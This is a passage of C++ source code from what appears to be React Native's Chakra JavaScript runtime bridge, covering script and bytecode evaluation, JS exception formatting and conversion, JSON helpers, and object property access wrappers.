throw ChakraJSException(exn, source);
}
if (value == nullptr) {
formatAndThrowJSException(exn, source);
}
return value;
}
JsValueRef evaluateScript(std::unique_ptr<const JSBigString> &&script, JsValueRef sourceURL) {
ReactMarker::logMarker(ReactMarker::JS_BUNDLE_STRING_CONVERT_START);
#if defined(USE_EDGEMODE_JSRT)
JsValueRef jsScript = jsStringFromBigString(*script.get());
#else
JsValueRefUniquePtr jsScript = jsArrayBufferFromBigString(std::move(script));
#endif
ReactMarker::logMarker(ReactMarker::JS_BUNDLE_STRING_CONVERT_STOP);
#if defined(USE_EDGEMODE_JSRT)
return evaluateScript(jsScript, sourceURL);
#else
return evaluateScript(jsScript.get(), sourceURL);
#endif
}
JsValueRef evaluateScriptWithBytecode(
std::unique_ptr<const JSBigString> &&script,
[[maybe_unused]] uint64_t scriptVersion,
JsValueRef scriptFileName,
[[maybe_unused]] std::string &&bytecodeFileName,
[[maybe_unused]] bool asyncBytecodeGeneration) {
#if defined(WINRT)
// TODO:
// ChakraRT does not support the JsRunSerialized() API.
// Hence for UWP implementation, we fall back to using the original source
// code right now.
return evaluateScript(std::move(script), scriptFileName);
#else
auto bytecodePrefixOptional = BytecodePrefix::getBytecodePrefix(scriptVersion);
if (!bytecodePrefixOptional.first) {
return evaluateScript(std::move(script), scriptFileName);
}
auto &bytecodePrefix = bytecodePrefixOptional.second;
std::unique_ptr<const JSBigString> bytecode = tryGetBytecode(bytecodePrefix, bytecodeFileName);
if (!bytecode) {
std::shared_ptr<const JSBigString> sharedScript(script.release());
serializeBytecodeToFile(sharedScript, bytecodePrefix, std::move(bytecodeFileName), asyncBytecodeGeneration);
ReactMarker::logMarker(ReactMarker::JS_BUNDLE_STRING_CONVERT_START);
JsValueRefUniquePtr jsScript = jsArrayBufferFromBigString(sharedScript);
ReactMarker::logMarker(ReactMarker::JS_BUNDLE_STRING_CONVERT_STOP);
return evaluateScript(jsScript.get(), scriptFileName);
}
ReactMarker::logMarker(ReactMarker::JS_BUNDLE_STRING_CONVERT_START);
JsValueRefUniquePtr jsScript = jsArrayBufferFromBigString(std::move(script));
ReactMarker::logMarker(ReactMarker::JS_BUNDLE_STRING_CONVERT_STOP);
JsValueRef exn = nullptr;
JsValueRef value = nullptr;
JsErrorCode result = JsRunSerialized(
jsArrayBufferFromBigString(std::move(bytecode)).get(),
[](JsSourceContext sourceContext, JsValueRef *value, JsParseScriptAttributes *parseAttributes) {
*value = reinterpret_cast<JsValueRef>(sourceContext);
*parseAttributes = JsParseScriptAttributeNone;
return true;
},
reinterpret_cast<JsSourceContext>(jsScript.get()),
scriptFileName,
&value);
// Currently, when the existing bundle.bytecode is incompatible with the
// ChakraCore.dll used, we do not update it. This is because we memory mapped
// bundle.bytecode into a JsExternalArrayBuffer, whose lifetime is controlled
// by the JS engine. Hence we cannot remove/rename/modify bytecode.bundle
// until the JS garbage collector deletes the corresponding
// JsExternalArrayBuffer.
if (result == JsErrorBadSerializedScript) {
JsGetAndClearException(&exn);
return evaluateScript(jsScript.get(), scriptFileName);
}
// This code is duplicated from evaluateScript.
// TODO (task 1977635) get rid of this duplicated code.
bool hasException = false;
if (result == JsErrorInExceptionState || (JsHasException(&hasException), hasException)) {
JsGetAndClearException(&exn);
std::string exceptionDescription = "JavaScriptException in " + ChakraValue(scriptFileName).toString().str();
throw ChakraJSException(exn, exceptionDescription.c_str());
}
if (value == nullptr) {
formatAndThrowJSException(exn, scriptFileName);
}
return value;
#endif
}
void formatAndThrowJSException(JsValueRef exn, JsValueRef source) {
ChakraValue exception = ChakraValue(exn);
std::string exceptionText = exception.toString().str();
// The null/empty-ness of source tells us if the JS came from a
// file/resource, or was a constructed statement. The location
// info will include that source, if any.
std::string locationInfo = source != nullptr ? ChakraString::ref(source).str() : "";
ChakraObject exObject = exception.asObject();
auto line = exObject.getProperty("line");
if (line != nullptr && line.isNumber()) {
if (locationInfo.empty() && line.asInteger() != 1) {
// If there is a non-trivial line number, but there was no
// location info, we include a placeholder, and the line
// number.
locationInfo = folly::to<std::string>("<unknown file>:", line.asInteger());
} else if (!locationInfo.empty()) {
// If there is location info, we always include the line
// number, regardless of its value.
locationInfo += folly::to<std::string>(":", line.asInteger());
}
}
if (!locationInfo.empty()) {
exceptionText += " (" + locationInfo + ")";
}
LOG(ERROR) << "Got JS Exception: " << exceptionText;
ChakraValue jsStack = exObject.getProperty("stack");
if (jsStack.isNull() || !jsStack.isString()) {
throwJSExecutionException("%s", exceptionText.c_str());
} else {
LOG(ERROR) << "Got JS Stack: " << jsStack.toString().str();
throwJSExecutionExceptionWithStack(exceptionText.c_str(), jsStack.toString().str().c_str());
}
}
JsValueRef translatePendingCppExceptionToJSError(const char *exceptionLocation) {
std::ostringstream msg;
try {
throw;
} catch (const std::bad_alloc &) {
throw; // We probably shouldn't try to handle this in JS
} catch (const std::exception &ex) {
msg << "C++ Exception in '" << exceptionLocation << "': " << ex.what();
return ChakraValue::makeError(msg.str().c_str());
} catch (const char *ex) {
msg << "C++ Exception (thrown as a char*) in '" << exceptionLocation << "': " << ex;
return ChakraValue::makeError(msg.str().c_str());
} catch (...) {
msg << "Unknown C++ Exception in '" << exceptionLocation << "'";
return ChakraValue::makeError(msg.str().c_str());
}
}
JsValueRef translatePendingCppExceptionToJSError(JsValueRef jsFunctionCause) {
try {
auto functionName = ChakraObject(jsFunctionCause).getProperty("name").toString().str();
return translatePendingCppExceptionToJSError(functionName.c_str());
} catch (...) {
return ChakraValue::makeError("Failed to get function name while handling exception");
}
}
JsValueRef GetJSONObject() {
JsValueRef globalObject;
JsGetGlobalObject(&globalObject);
JsPropertyIdRef propertyId;
if (JsNoError != JsGetPropertyIdFromName(L"JSON", &propertyId)) {
return nullptr;
}
JsValueRef jsonObject;
if (JsNoError != JsGetProperty(globalObject, propertyId, &jsonObject)) {
return nullptr;
}
return jsonObject;
}
int StringGetLength(_In_ JsValueRef string) {
int length;
JsGetStringLength(string, &length);
return length;
}
JsValueRef JSObjectCallAsFunction(
JsValueRef methodJSRef,
JsValueRef batchedBridgeRef,
unsigned nArgs,
const JsValueRef args[],
JsValueRef *error) {
auto argsWithThis = new JsValueRef[nArgs + 1];
argsWithThis[0] = batchedBridgeRef;
for (unsigned i = 0; i < nArgs; i++)
argsWithThis[i + 1] = args[i];
JsValueRef value;
auto result = JsCallFunction(
methodJSRef, const_cast<JsValueRef *>(argsWithThis), static_cast<unsigned short>(nArgs + 1), &value);
delete[] argsWithThis;
bool hasException = false;
if (result != JsNoError || (JsHasException(&hasException), hasException)) {
JsGetAndClearException(error);
return nullptr;
}
return value;
}
JsValueRef JSValueMakeFromJSONString(JsValueRef string) {
// Handle special case with Chakra runtime where if you pass an empty string
// to parseFunction it will throw an exception instead of returning nullptr
if (StringGetLength(string) == 0) {
JsValueRef value;
JsGetNullValue(&value);
return value;
}
auto jsonObject = GetJSONObject();
JsPropertyIdRef propertyId;
if (JsNoError != JsGetPropertyIdFromName(L"parse", &propertyId) || !jsonObject) {
return nullptr;
}
JsValueRef parseFunction;
if (JsNoError != JsGetProperty(jsonObject, propertyId, &parseFunction)) {
return nullptr;
}
JsValueRef error;
JsValueRef arguments[1] = {string};
return JSObjectCallAsFunction(parseFunction, jsonObject, 1, arguments, &error);
}
JsValueRef JSValueCreateJSONString(JsValueRef value, unsigned /*indent*/, JsValueRef *error) {
auto jsonObject = GetJSONObject();
JsPropertyIdRef propertyId;
if (JsNoError != JsGetPropertyIdFromName(L"stringify", &propertyId) || !jsonObject) {
JsGetAndClearException(error);
return nullptr;
}
JsValueRef stringifyFunction;
if (JsNoError != JsGetProperty(jsonObject, propertyId, &stringifyFunction)) {
JsGetAndClearException(error);
return nullptr;
}
JsValueRef arguments[1] = {value};
return JSObjectCallAsFunction(stringifyFunction, jsonObject, 1, arguments, error);
}
// TODO ensure proper clean up of error states in the middle of function
JsValueRef JSObjectGetProperty(JsValueRef object, JsValueRef propertyName, JsValueRef *exception) {
std::string propName;
auto result = JsStringToStdStringUtf8(propertyName, propName);
if (result == JsErrorScriptException)
JsGetAndClearException(exception);
JsPropertyIdRef propId = JS_INVALID_REFERENCE;
result = JsGetPropertyIdFromNameUtf8(propName.c_str(), &propId);
if (result == JsErrorScriptException)
JsGetAndClearException(exception);
JsValueRef value;
result = JsGetProperty(object, propId, &value);
if (result == JsErrorScriptException)
JsGetAndClearException(exception);
return value;
}
JsValueRef JSObjectGetPropertyAtIndex(JsValueRef object, unsigned propertyIndex, JsValueRef *exception) {
JsValueRef index;
JsIntToNumber(propertyIndex, &index);
JsValueRef property;
auto result = JsGetIndexedProperty(object, index, &property);
if (result == JsErrorScriptException)
JsGetAndClearException(exception);
return property;
}
// Only support None
void JSObjectSetProperty(
JsValueRef jsObj,
JsValueRef propertyName,
JsValueRef value,
JSPropertyAttributes /*attributes*/,
JsValueRef *exception) {
// TODO exception handing -- ensure proper clean up if failure in middle of
// function
JsPropertyIdRef propId = JS_INVALID_REFERENCE;
std::string propName;
auto result = JsStringToStdStringUtf8(propertyName, propName);
if (result == JsErrorScriptException)
JsGetAndClearException(exception);
result = JsGetPropertyIdFromNameUtf8(propName.c_str(), &propId);
if (result == JsErrorScriptException)
JsGetAndClearException(exception);
if (result == JsErrorScriptException)
JsGetAndClearException(exception);
// TODO - should we use strict rules?
result = JsSetProperty(jsObj, propId, value, true /*useStrictRules*/);
if (result == JsErrorScriptException)
JsGetAndClearException(exception);
}
JsValueRef JSObjectCopyPropertyNames(JsValueRef object) {
JsValueRef propertyNamesArrayRef;
JsGetOwnPropertyNames(object, &propertyNamesArrayRef);
return propertyNamesArrayRef;
}
unsigned JSPropertyNameArrayGetCount(JsValueRef namesRef) {
JsPropertyIdRef propertyId;
JsGetPropertyIdFromName(L"length", &propertyId);
JsValueRef countRef;
JsGetProperty(namesRef, propertyId, &countRef);
int count;
JsNumberToInt(countRef, &count);
return count;
}
JsValueRef JSPropertyNameArrayGetNameAtIndex(JsValueRef namesRef, unsigned idx) {
JsValueRef index;
JsIntToNumber(idx, &index);
JsValueRef propertyName;
JsGetIndexedProperty(namesRef, index, &propertyName);
return propertyName;
}
double JSValueToNumber(JsValueRef obj, JsValueRef *exception) {
double value;
auto result = JsNumberToDouble(obj, &value);
if (result == JsErrorScriptException)
JsGetAndClearException(exception);
return value;
}
JsValueRef JSValueToStringCopy(JsValueRef obj, JsValueRef *exception) {
JsValueRef value;
auto result = JsConvertValueToString(obj, &value);
if (JsNoError == result)
JsAddRef(value, nullptr); // TODO is this the right lifetime symantics?
else if (result == JsErrorScriptException)
JsGetAndClearException(exception);
return value;
}
JsValueRef ValueMakeUndefined() {
JsValueRef value;
JsGetUndefinedValue(&value);
return value;
}
} // namespace react
} // namespace facebook
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.